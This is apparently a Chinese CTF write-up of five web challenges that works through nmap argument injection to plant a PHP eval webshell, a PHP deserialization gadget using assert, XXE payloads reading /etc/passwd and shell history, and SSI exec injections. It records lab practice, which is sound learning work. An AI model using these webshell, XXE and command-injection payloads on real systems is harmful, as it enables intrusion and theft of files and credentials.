2021-01-30

[网鼎杯 2020 朱雀组]Nmap

考nmap的用法，但是我不会
用上次online tool的payload

?host=' <?php @eval($_POST["cmd"]);?> -oG yjh.php '

回显hacker
猜测是过滤了php

?host=' <?= @eval($_POST["cmd"]);?> -oG yjh.phtml '

这样可以蚁剑连，也可以post一个命令

https://www.bilibili.com/video/av795863875/

[MRCTF2020]PYWebsite

进去是这么个页面，在源码里面搜索php
搜到了flag.php

访问之后是这样

看起来要伪造ip，抓包xff试试

[NPUCTF2020]ReadlezPHP

在源码里面搜索php，搜到一个

访问后是源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

1. 诶好像是反序列化
2. 看起来$b是函数名，$a是参数
3. __destruct() 　　- 对象的所有引用都被删除或者当对象被显式销毁时执行，脚本运行结束前会调用析构函数

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "eval($_POST[cmd]);";
        $this->b = "assert";
   
}
}
$c = new HelloPhp();

echo urlencode(serialize($c));

?>

过滤了system，所以用assert
蚁剑连接后啥也没有

$this->a = "phpinfo()";

或者

post：cmd='phpinfo;'

应该也可以
payload

?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

[NCTF2019]True XML cookbook

抓包，发现存在XXE漏洞
添加外部注入实体

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
  <username>&admin;</username>
  <password>password</password>
</user>

没有回显出flag
这里考的是XXE漏洞可以直接攻击内网用户

读取用户信息：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///etc/passwd">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

读取历史命令：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///www-data/.bash_history">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

查看内网存活主机：

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///etc/hosts">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

找到一个主机，访问

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "http://173.10.47.10">
]>
<user>
  <username>&file;</username>
  <password>password</password>
</user>

没有flag
可以用bp爆存活主机

[BJDCTF2020]EasySearch

wp说是扫到了swp泄露，但是我没扫到

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

一开始还以为要用到随机数，看到后面才发现前面那一段都没有用，关键在

        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) 

这一个if
也就是一个字符串md5之后前六位为6d0bc1
由于本菜鸡不会python，所以借用网上的poc

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

post：password=2020666

抓包

看wp之前我没找到
访问一下看看


SSI注入参考文献

<!--#exec cmd="ls ../"-->

注入点只能在username了，

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 "-->